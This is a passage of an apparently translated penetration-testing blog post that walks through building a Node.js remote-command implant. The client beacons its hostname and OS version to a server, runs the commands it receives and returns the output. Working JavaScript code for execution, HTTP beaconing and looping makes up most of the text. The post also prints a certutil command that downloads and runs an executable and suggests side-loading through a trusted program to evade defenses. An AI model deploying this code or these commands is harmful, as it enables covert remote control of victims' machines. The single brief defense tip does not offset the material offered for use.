on the current console, otherwise return a 404 page\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Client\u003C\u002Fh4>\u003Cul>\u003Cli>Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version\u003C\u002Fli>\u003Cli>Receive control commands returned by the server, execute them, and then send the results back to the server\u003C\u002Fli>\u003Cli>If the server does not respond, wait for a period of time before sending the post request again\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch4>1. Execute cmd commands via Node.js\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function runcmd(command) {\u003Cbr>\tvar childprocess = require('child_process');\u003Cbr>\tchildprocess.exec(command, (err, stdout, stderr) =&gt; {\u003Cbr>  \tif (err) {\u003Cbr>    \t\tconsole.error(err);\u003Cbr>    \t\treturn;\u003Cbr>  \t}\u003Cbr>  \tconsole.log(stdout);\u003Cbr>\t});\u003Cbr>}\u003Cbr>runcmd('whoami');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Implementation of HTTP Communication\u003C\u002Fh4>\u003Cp>Server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var http = require('http');\u003Cbr>var querystring = require('querystring');\u003Cbr>http.createServer(function (req, res) {\u003Cbr>    \tvar body = '';\u003Cbr>    \tconsole.log('req.url:',req.url);\u003Cbr>    \treq.on('data', function (chunk) {\u003Cbr>\t\tbody += chunk;\u003Cbr>        \tconsole.log(\"chunk:\",chunk);\u003Cbr>    \t});\u003Cbr>    \treq.on('end', function () {\u003Cbr>        \tbody = querystring.parse(body);  \u003Cbr>        \tconsole.log('body:',body);\u003Cbr>        \tres.write('Message from server');\u003Cbr>        \tres.end();\u003Cbr>    \t});\u003Cbr>}).listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>sendHello('127.0.0.1','3000');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client sends post data to Server, content is data1=str1&amp;data2=str2\u003C\u002Fp>\u003Cp>After receiving the request, Server replies to Client with 'Message from server'\u003C\u002Fp>\u003Ch4>3. Implementation of sleep\u003C\u002Fh4>\u003Cp>Node.js does not support sleep operation by default, it can be implemented as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile (new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>var timeinterval = +'5000';\u003Cbr>sleep(timeinterval);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Convert string type to number by adding + in front\u003C\u002Fp>\u003Ch4>4. Client periodically sends post requests in a loop\u003C\u002Fh4>\u003Cp>Here we need to consider asynchronous and synchronous issues\u003C\u002Fp>\u003Cp>Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:\u003C\u002Fp>\u003Cp>Server:\u003C\u002Fp>\u003Cp>Code same as above\u003C\u002Fp>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime()&lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>while (true)\u003Cbr>{\u003Cbr>\tconsole.log('1');\u003Cbr>\tsleep(5000);\u003Cbr>\tsendHello('127.0.0.1','3000');\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Expected result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Client sends a POST request every 5 seconds and receives the result\u003C\u002Fp>\u003Cp>\u003Cstrong>Actual result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The loop executes every 5 seconds, but the Client does not send a request\u003C\u002Fp>\u003Cp>Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization\u003C\u002Fp>\u003Cp>Finally, I resolved the synchronization issue through method nesting, as shown in the following example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function A(){\u003Cbr>\tconsole.log('A');\u003Cbr>\tB();\u003Cbr>}\u003Cbr>function B(){\u003Cbr>\tconsole.log('B');\u003Cbr>\tsleep(5000);\u003Cbr>\tA();\u003Cbr>}\u003Cbr>A();\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. Server displays Client's IP\u003C\u002Fh4>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function getClientIp(req) {\u003Cbr>        return req.headers['x-forwarded-for'] ||\u003Cbr>        req.connection.remoteAddress ||\u003Cbr>        req.socket.remoteAddress ||\u003Cbr>        req.connection.socket.remoteAddress;\u003Cbr>};\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Default format is IPv6, for example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>::ffff:127.0.0.1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Can be specified as IPv4 by modifying listen parameters\u003C\u002Fp>\u003Cp>Before modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>6. The server checks the POST request and replies with 404 if it does not meet requirements.\u003C\u002Fh4>\u003Cp>Simply check the content of the body.\u003C\u002Fp>\u003Cp>The complete implementation code has been open-sourced at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The open-source code is merely an example, used to demonstrate NodeJS functionality.\u003C\u002Fp>\u003Cp>Usage is as follows:\u003C\u002Fp>\u003Cp>First, obtain node.exe from the download address: https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Ch4>1. Edit the file Server.js\u003C\u002Fh4>\u003Cp>You can compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Command sent to the client: var command\u003C\u002Fli>\u003Cli>Listen on port: .listen(80,'0.0.0.0');\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Start the Server\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Server.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.\u003C\u002Fp>\u003Cp>Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page\u003C\u002Fp>\u003Ch4>3. Edit the file Client.js\u003C\u002Fh4>\u003Cp>Compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Server IP: var serverip\u003C\u002Fli>\u003Cli>Server port: var serverport\u003C\u002Fli>\u003Cli>Loop interval time: var timeinterval\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>4. Start Client\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Client.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version\u003C\u002Fp>\u003Cp>Then receive control commands returned by the Server, execute them, and send the results back to the Server\u003C\u002Fp>\u003Cp>If the Server does not respond, wait for a period before sending the post request again\u003C\u002Fp>\u003Ch2>0x05 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch4>1. The open-source code supports multiple payloads\u003C\u002Fh4>\u003Cp>The payload can be set to download and execute files, for example\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'certutil -urlcache -split -f https:\u002F\u002Fgithub.com\u002F3gstudent\u002Ftest\u002Fraw\u002Fmaster\u002Fputty.exe c:\\\\a.exe&amp;&amp;c:\\\\a.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To send a command for Client exit, use:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'taskkill \u002Ff \u002Fim node.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Can be loaded by third-party trusted programs\u003C\u002Fh4>\u003Cp>Reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Cp>t.exe -&gt; node.exe -&gt; main.js\u003C\u002Fp>\u003Cp>Demonstration as shown:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770017235635_0_2b4b3f0fb8-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.\u003C\u002Fp>\u003Cp>It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",726,"Onedaysec",6,"published","2026-02-02T07:38:21.197Z",{"title":37,"description":14,"keywords":38,"ogImage":39,"canonicalUrl":39,"noIndex":40},"Node.js Penetration Testing: Downloader Implementation Guide","Node.js penetration testing, downloader implementation, active defense bypass, cybersecurity, file dropper, JavaScript security",null,false,[],{"docs":43,"hasNextPage":40},[44,4,45,46,47],861,859,858,857,{"title":39,"description":39,"image":39},"2026-07-24T15:37:11.167Z","2026-07-23T16:02:12.448Z","draft","2026-07-23T16:15:10.298Z"]